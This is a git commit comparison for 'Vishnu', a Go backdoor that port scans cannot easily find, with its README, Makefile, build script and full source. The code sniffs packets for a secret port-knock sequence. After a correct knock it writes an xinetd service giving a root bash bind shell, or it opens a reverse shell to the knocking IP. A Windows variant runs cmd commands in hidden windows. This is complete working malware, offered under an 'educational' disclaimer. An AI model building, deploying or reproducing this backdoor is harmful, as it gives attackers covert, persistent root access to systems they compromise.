Compare commits

...

10 Commits

Author SHA1 Message Date
Pin
963db705d9 changed append to write 2022-04-03 23:28:41 -04:00
Pin
de9feed536 Adapter linux client for xinetd
Signed-off-by: Pin <wf6DJd8a3xSSCZbn@protonmail.com>
2022-04-03 23:28:41 -04:00
Pin
6d101ddd9c adding fork message 2022-04-03 23:28:41 -04:00
Michael Vaughan
e8379e0c66 add linux static target 2022-04-03 23:28:41 -04:00
d3adzo
bb97442081 final updates + readme cleanup 2022-04-03 23:28:41 -04:00
d3adzo
7f3c21d496 connectback condition fail fixed 2022-04-03 23:28:41 -04:00
d3adzo
4c5b302292 fixed 2x TCP issue 2022-04-03 23:28:41 -04:00
d3adzo
3f6d3b3f80 cross compile, now testing 2022-04-03 23:28:41 -04:00
d3adzo
3eb2035d33 added win support, need to fix cmd window syscall error 2022-04-03 23:28:41 -04:00
Pablo Potat0
13f4c70e64 Update README.md 2022-04-03 23:28:41 -04:00
10 changed files with 324 additions and 183 deletions

1
.gitignore vendored Normal file
View File

@@ -0,0 +1 @@
bin

25
Makefile Normal file
View File

@@ -0,0 +1,25 @@
DIRECTORY=bin
LINUX=linux-agent
WIN=windows-agent.exe
FLAGS=-ldflags "-s -w"
WIN-FLAGS=-ldflags -H=windowsgui
all: clean create-directory agent-windows agent-linux agent-linux-static
create-directory:
mkdir ${DIRECTORY}
agent-windows:
echo "Compiling Windows binary"
env GOOS=windows GOARCH=amd64 go build ${WIN-FLAGS} -o ${DIRECTORY}/${WIN} main.go
agent-linux:
echo "Compiling Linux binary"
env GOOS=linux GOARCH=amd64 go build ${FLAGS} -o ${DIRECTORY}/${LINUX} main.go
agent-linux-static:
echo "Compiling static Linux binary"
docker run --rm=true -itv $(PWD):/mnt alpine:3.7 /mnt/build_static.sh
clean:
rm -rf ${DIRECTORY}

View File

@@ -1,50 +1,59 @@
# Vishnu(The Hidden Backdoor) # Vishnu(The Hidden Backdoor)
Forked from: https://github.com/emmaunel/vishnu
###### RS{JOIN_REDTEAM}
Taken from the Trimurit, the triple deity of supreme divinity. Vishnu is known as "The Preserver". This program is a proof of concept code to test the idea of port-knocking in golang. Taken from the Trimurit, the triple deity of supreme divinity. Vishnu is known as "The Preserver". This program is a proof of concept code to test the idea of port-knocking in golang.
Most backdoors usually have port listening and they can be easily be found by doing a port scan on the machine. This backdoor acts like as a packet sniffer, hence the need of libpcap, and looks for the `secret ports` you defined. When these ports are noticed, it creates a bind shell on a random port for you to connect to. To detect the random port, you can run nmap to find the new port. Most backdoors usually have port listening and they can be easily be found by doing a port scan on the machine. This backdoor acts like as a packet sniffer, hence the need of libpcap, and looks for the `secret ports` you defined. When these ports are noticed, it creates a bind shell on a random port for you to connect to. To detect the random port, you can run nmap to find the new port.
* Note: This backdoor is not perfect, this was written in one night and again, it was a PoC :) * Note: This backdoor is not perfect, this was written in one night and again, it was a PoC :)
# Technical Details ## Technical Details
At the beginning of the file, there are some configurations that needs to be set. Like what interface you want to listen to and what type of filter you want. At the beginning of the file, there are some configurations that needs to be set. Like what interface you want to listen to and what type of filter you want.
With the use of `gopacket(link)` which is a wrapper around libpcap, the program is able to read every packets that comes through the specific network interface. With this PoC, it is looking for SYN packets(this can be changed to whatever), if it is not, the packets are ignored. If the packet is a SYN, it looks at the destination port. With the use of [gopacket](https://github.com/google/gopacket) which is a wrapper around libpcap, the program is able to read every packets that comes through the specific network interface. With this PoC, it is looking for SYN packets(this can be changed to whatever), if it is not, the packets are ignored. If the packet is a SYN, it looks at the destination port.
In order for the hidden port to be open, the sequence of destination ports have to match what's in the array. For example, if the secret ports are `80, 81, 82, 83`, you have to send SYN packets in exactly that way. `81, 80, 83, 82` would not work. In order for the hidden port to be open, the sequence of destination ports have to match what's in the array. For example, if the secret ports are `80, 81, 82, 83`, you have to send SYN packets in exactly that way. `81, 80, 83, 82` would not work.
After the comparison is done and matches, a random port between 100 and 65535 will be open by using the program `inetd`. You can learn more about here(link). Basically, it's an easy way to listen for connection on certain ports and you can decide what user should run a service and what service you want to run. In my case, I use this `<port> stream tcp nowait root /bin/bash bash`. When connected on that port, you are presented with a root bash bind shell. After the comparison is done and matches, a random port between 100 and 65535 will be open by using the program `inetd`. You can learn more about [here](http://ibgwww.colorado.edu/~lessem/psyc5112/usail/network/services/inetd.html). Basically, it's an easy way to listen for connection on certain ports and you can decide what user should run a service and what service you want to run. In my case, I use this `<port> stream tcp nowait root /bin/bash bash`. When connected on that port, you are presented with a root bash bind shell.
# How to compile and Use
targetInterface is the interface you want to be listening on. To be more district, you can also change the secretPorts to whatever you want.
``` ### NOTE: This doesn't work well with VPN, you have to be on the same network
var (
targetInterface = "ens160"
secretPorts = []int{1, 2, 3, 4}
)
```
To compile, you need libpcap. On linux, you can install by running `sudo apt install libpcap-dev`. Then you can run `go build src/vishnu.go` to generate a binary. ## How to compile and Use
### Linux
There is one static value that is needed in order for this to work properly on Linux. It is listed below:
- The string value being returned, found in `spec/spec_linux.go`, in the `GetAdapter()` function. It is set to return `"ens160"` by default. Modify this value as you see fit.
To compile, you need libpcap. On linux, you can install by running `sudo apt install libpcap-dev`.
For the port opening, make sure you have `inetd` installed. If you are not sure, run `apt install openbsd-inetd`. For the port opening, make sure you have `inetd` installed. If you are not sure, run `apt install openbsd-inetd`.
## Connectback Shell Then you can use `make agent-linux` to generate the binary.
### Windows
In order for the binary to work correctly on Windows, `npcap / winpcap` needs to be installed. You can find it here: https://nmap.org/npcap/
Once this is done, run `make agent-windows` to create the executable.
### Customizations
There are few other modifications that can be made in the targetInfo struct. Go to the `sInit` function in `main.go` and modify the values as you see fit listed below:
- `secretPorts` : this int array holds the ports that will be used for knocking
- `connectBack` : boolean value for linux for a bind or connectback shell
- `connectBackPort` : if connectback is being used, this string value is the port that will be utilized.
### Connectback Shell Info
You can optionally have the backdoor operate in connectback mode - where after successfully knocking a shell is sent back to the knocking IP on a predetermined port. You can optionally have the backdoor operate in connectback mode - where after successfully knocking a shell is sent back to the knocking IP on a predetermined port.
Be careful doing this behind NAT as while knocking will work, the shell won't get back to you. You'll need to do port forwarding or listen for the shell on a public IP. Be careful doing this behind NAT as while knocking will work, the shell won't get back to you. You'll need to do port forwarding or listen for the shell on a public IP.
``` For use on Windows, the connectback method is used.
const (
connectback = true
connectbackPort = "8080"
)
```
# Potential future works ## Potential future works
* Design it to work for multiple operation systems(https://haydz.github.io/2020/07/06/Go-Windows-NIC.html ) * ~~Design it to work for multiple operation systems(https://haydz.github.io/2020/07/06/Go-Windows-NIC.html )~~
* Dynamic secret ports so they are predictable. * Dynamic secret ports so they are not predictable.
# Disclamers ## Disclaimers
The author is in no way responsible for any illegal use of this software. It is provided purely as an educational proof of concept. I am also not responsible for any damages or mishaps that may happen in the course of using this software. Use at your own risk. The author is in no way responsible for any illegal use of this software. It is provided purely as an educational proof of concept. I am also not responsible for any damages or mishaps that may happen in the course of using this software. Use at your own risk.

17
build_static.sh Executable file
View File

@@ -0,0 +1,17 @@
#!/bin/sh
# many thanks to @negbie
# https://github.com/google/gopacket/issues/424#issuecomment-369551841
set -ex
apk update
apk add linux-headers musl-dev gcc go libpcap-dev ca-certificates git
mkdir /go
export GOPATH=/go
mkdir -p /go/src/github.com/emmaunel
mkdir -p /mnt/out
cp -a /mnt /go/src/github.com/emmaunel/vishnu
cd /go/src/github.com/emmaunel/vishnu
rm -f vishnu*
go get -v ./ ./
go build --ldflags '-linkmode external -extldflags "-static -s -w"' -v ./
cp ./vishnu /mnt/out/

4
go.mod
View File

@@ -1,7 +1,7 @@
module vishnu/src module github.com/emmaunel/vishnu
go 1.17 go 1.17
require github.com/google/gopacket v1.1.19 require github.com/google/gopacket v1.1.19
require gitlab.com/NebulousLabs/go-upnp v0.0.0-20211002182029-11da932010b6 // indirect require golang.org/x/sys v0.0.0-20190412213103-97732733099d // indirect

17
go.sum
View File

@@ -1,33 +1,16 @@
github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
gitlab.com/NebulousLabs/fastrand v0.0.0-20181126182046-603482d69e40 h1:dizWJqTWjwyD8KGcMOwgrkqu1JIkofYgKkmDeNE7oAs=
gitlab.com/NebulousLabs/fastrand v0.0.0-20181126182046-603482d69e40/go.mod h1:rOnSnoRyxMI3fe/7KIbVcsHRGxe30OONv8dEgo+vCfA=
gitlab.com/NebulousLabs/go-upnp v0.0.0-20211002182029-11da932010b6 h1:WKij6HF8ECp9E7K0E44dew9NrRDGiNR5u4EFsXnJUx4=
gitlab.com/NebulousLabs/go-upnp v0.0.0-20211002182029-11da932010b6/go.mod h1:vhrHTGDh4YR7wK8Z+kRJ+x8SF/6RUM3Vb64Si5FD0L8=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2 h1:It14KIkyBFYkHkwZ7k45minvA9aorojkyjGk9KJ5B/w=
golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859 h1:R/3boaszxrf1GEUWTVDzSKVwLmSJpwZ1yqXm8j0v2QI= golang.org/x/net v0.0.0-20190620200207-3b0461eec859 h1:R/3boaszxrf1GEUWTVDzSKVwLmSJpwZ1yqXm8j0v2QI=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1 h1:4qWs8cYYH6PoEFy4dfhDFgoMGkwAcETd+MmPdCPMzUc=
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI= golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44 h1:Bli41pIlzTzf3KEY06n+xnzK/BESIg2ze4Pgfh/aI8c=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=

167
main.go Normal file
View File

@@ -0,0 +1,167 @@
package main
import (
"errors"
"fmt"
"log"
"math/rand"
"os"
"os/exec"
"runtime"
"strings"
"strconv"
"github.com/emmaunel/vishnu/spec"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
)
var serviceDefine = `service {{servicename}}
{
disable = no
server = /bin/bash
port = {{serviceport}}
flags = IPv4
user = root
socket_type = stream
protocol = tcp
wait = no
type = unlisted
}`
type targetInfo struct {
os string
iFace string
snaplen int32
// vishnu uses tcp port knocking
filter string
// ports in order to port knock on
secretPorts []int
// how far into the sequence we are
// when secretCounter == len(secretPorts),
// port knocking is complete and shell is given
secretCounter int
lastPort layers.TCPPort
connectback bool
connectbackPort string
}
// create target info struct
func sInit(os string) *targetInfo {
tInfo := targetInfo{}
tInfo.os = os
tInfo.iFace = spec.GetAdapter()
tInfo.snaplen = int32(1600)
tInfo.filter = "tcp"
tInfo.secretPorts = []int{1, 2, 3, 4}
tInfo.secretCounter = 0
// if true, connect back to knocking
// IP on connectbackPort
tInfo.connectback = false
// only relevant if connectback is true
tInfo.connectbackPort = "8080"
return &tInfo
}
func main() {
tInfo := sInit(runtime.GOOS)
// Read package and analze them
handle, err := pcap.OpenLive(tInfo.iFace, tInfo.snaplen, true, pcap.BlockForever)
errorPrinter(err)
handle.SetBPFFilter(tInfo.filter)
packets := gopacket.NewPacketSource(handle, handle.LinkType()).Packets()
for pkt := range packets {
// Your analysis here! Get the important stuff
printPacketInfo(pkt, tInfo)
}
}
func vishnu(ip string, tInfo *targetInfo) {
if tInfo.connectback || tInfo.os == "windows" {
spec.ConnectBack(ip, tInfo.connectbackPort)
} else {
randomPort := rand.Intn(65535-100) + 100
// println("The doors are open on port ", strconv.Itoa(randomPort))
// Append to a file /etc/inetd.conf
fd, err := os.OpenFile("/etc/xinetd.d/xtimed", os.O_WRONLY|os.O_CREATE, 0600)
errorPrinter(err)
defer fd.Close()
xinetdServiceFile := strings.Replace(serviceDefine, "{{serviceport}}", strconv.Itoa(randomPort), 1)
xinetdServiceFile = strings.Replace(xinetdServiceFile, "{{servicename}}", "xtimed", 1)
if _, err = fd.WriteString(xinetdServiceFile); err != nil {
log.Panicln(err)
}
exec.Command("/usr/sbin/xinetd").Run()
}
}
func grabRemoteIP(packet gopacket.Packet) (string, error) {
iplayer := packet.Layer(layers.LayerTypeIPv4)
if iplayer == nil {
return "", errors.New("Packet is not IPv4")
}
ip, _ := iplayer.(*layers.IPv4)
return ip.SrcIP.String(), nil
}
func printPacketInfo(packet gopacket.Packet, tInfo *targetInfo) {
// Let's see if the packet is TCP
tcpLayer := packet.Layer(layers.LayerTypeTCP)
if tcpLayer != nil {
tcp, _ := tcpLayer.(*layers.TCP)
// Check the TCP Flag
if tcp.SYN {
// fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort)
// Check dst port for secret port
tInfo.lastPort = tcp.DstPort
if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) {
tInfo.secretCounter++
tInfo.lastPort = tcp.DstPort
} else if tInfo.secretCounter != 0 && tInfo.lastPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter-1]) { // fixed TCP 2x duplication issue
fmt.Println("duplicate tcp") // pass
} else {
// reset counter
tInfo.secretCounter = 0
}
}
}
if tInfo.secretCounter == len(tInfo.secretPorts) {
tInfo.secretCounter = 0
// grab IP address
ip, err := grabRemoteIP(packet)
// TODO maybe just listen if connectback is
// on and we can't get the remote IP
if tInfo.connectback && err != nil {
return
}
// open the gateway
go vishnu(ip, tInfo)
}
// Check for errors
if err := packet.ErrorLayer(); err != nil {
fmt.Println("Error decoding some part of the packet:", err)
}
}
func errorPrinter(err error) {
if err != nil {
log.Panicln(err)
}
}

30
spec/spec_linux.go Normal file
View File

@@ -0,0 +1,30 @@
package spec
import (
"net"
"os/exec"
)
func GetAdapter() string {
inetReturn := ""
inetInterfaces, _ := net.Interfaces()
if inetInterfaces[0].Name == "lo" { // Return second interface if first is loopback
inetReturn = inetInterfaces[1].Name
} else {
inetReturn = inetInterfaces[0].Name
}
return inetReturn
}
func ConnectBack(ip string, connectbackPort string) {
addr := net.JoinHostPort(ip, connectbackPort)
conn, err := net.Dial("tcp", addr)
if err != nil {
// TODO: figure out error handling
return
}
cmd := exec.Command("/bin/sh")
cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
cmd.Run()
conn.Close()
}

View File

@@ -0,0 +1,49 @@
package spec
import (
"bufio"
"log"
"net"
"os/exec"
"strings"
"syscall"
)
func GetAdapter() string {
var iface string
output, err := exec.Command("cmd.exe", "/c", "getmac /fo csv /v | findstr Ethernet").Output() //getting ethernet description for pcap
if err != nil {
log.Panicln(err)
}
startIndex := strings.Index(string(output), "_{")
finalIndex := strings.Index(string(output), "}")
temp := string(output)[startIndex+2 : finalIndex]
iface = "\\Device\\NPF_{" + temp + "}"
return iface
}
func ConnectBack(ip string, connectbackPort string) {
// TODO make this a PTY shell instead
addr := net.JoinHostPort(ip, connectbackPort)
conn, err := net.Dial("tcp", addr)
if err != nil {
// TODO: figure out error handling
return
}
r := bufio.NewReader(conn)
for {
order, err := r.ReadString('\n')
if nil != err {
conn.Close()
return
}
cmd := exec.Command("cmd", "/C", order)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, _ := cmd.CombinedOutput()
conn.Write(out)
}
}

View File

@@ -1,140 +0,0 @@
package main
import (
"errors"
"fmt"
"log"
"math/rand"
"net"
"os"
"os/exec"
"strconv"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
)
var (
targetInterface = "ens160"
snaplen = int32(1600)
// vishnu uses tcp port knocking
filter = "tcp"
// ports in order to port knock on
secretPorts = []int{1, 2, 3, 4}
// how far into the sequence we are
// when secretCounter == len(secretPorts),
// port knocking is complete and shell is given
secretCounter = 0
)
const (
// if true, connect back to knocking
// IP on connectbackPort
connectback = false
// only relevant if connectback is true
connectbackPort = "8080"
)
func main() {
// Read package and analze them
handle, err := pcap.OpenLive(targetInterface, snaplen, true, pcap.BlockForever)
errorPrinter(err)
handle.SetBPFFilter(filter)
packets := gopacket.NewPacketSource(handle, handle.LinkType()).Packets()
for pkt := range packets {
// Your analysis here! Get the important stuff
printPacketInfo(pkt)
}
}
func errorPrinter(err error) {
if err != nil {
log.Panicln(err)
}
}
func grabRemoteIP(packet gopacket.Packet) (string, error) {
iplayer := packet.Layer(layers.LayerTypeIPv4)
if iplayer == nil {
return "", errors.New("Packet is not IPv4")
}
ip, _ := iplayer.(*layers.IPv4)
return ip.SrcIP.String(), nil
}
func printPacketInfo(packet gopacket.Packet) {
// Let's see if the packet is TCP
tcpLayer := packet.Layer(layers.LayerTypeTCP)
if tcpLayer != nil {
tcp, _ := tcpLayer.(*layers.TCP)
// Check the TCP Flag
if tcp.SYN {
// fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort)
// Check dst port for secret port
if tcp.DstPort == layers.TCPPort(secretPorts[secretCounter]) {
secretCounter++
} else {
// reset counter
secretCounter = 0
}
}
}
if secretCounter == len(secretPorts) {
secretCounter = 0
// grab IP address
ip, err := grabRemoteIP(packet)
// TODO maybe just listen if connectback is
// on and we can't get the remote IP
if connectback && err != nil {
return
}
// open the gateway
go vishnu(ip)
}
// Check for errors
if err := packet.ErrorLayer(); err != nil {
fmt.Println("Error decoding some part of the packet:", err)
}
}
func connectBack(ip string) {
// TODO make this a PTY shell instead
addr := net.JoinHostPort(ip, connectbackPort)
conn, err := net.Dial("tcp", addr)
if err != nil {
// TODO: figure out error handling
return
}
cmd := exec.Command("/bin/sh")
cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
cmd.Run()
conn.Close()
}
func vishnu(ip string) {
if connectback {
connectBack(ip)
}
randomPort := rand.Intn(65535-100) + 100
// println("The doors are open on port ", strconv.Itoa(randomPort))
// Append to a file /etc/inetd.conf
fd, err := os.OpenFile("/etc/inetd.conf", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600)
errorPrinter(err)
defer fd.Close()
if _, err = fd.WriteString(strconv.Itoa(randomPort) + " stream tcp nowait root /bin/bash bash\n"); err != nil {
log.Panicln(err)
}
exec.Command("/usr/sbin/inetd").Run()
}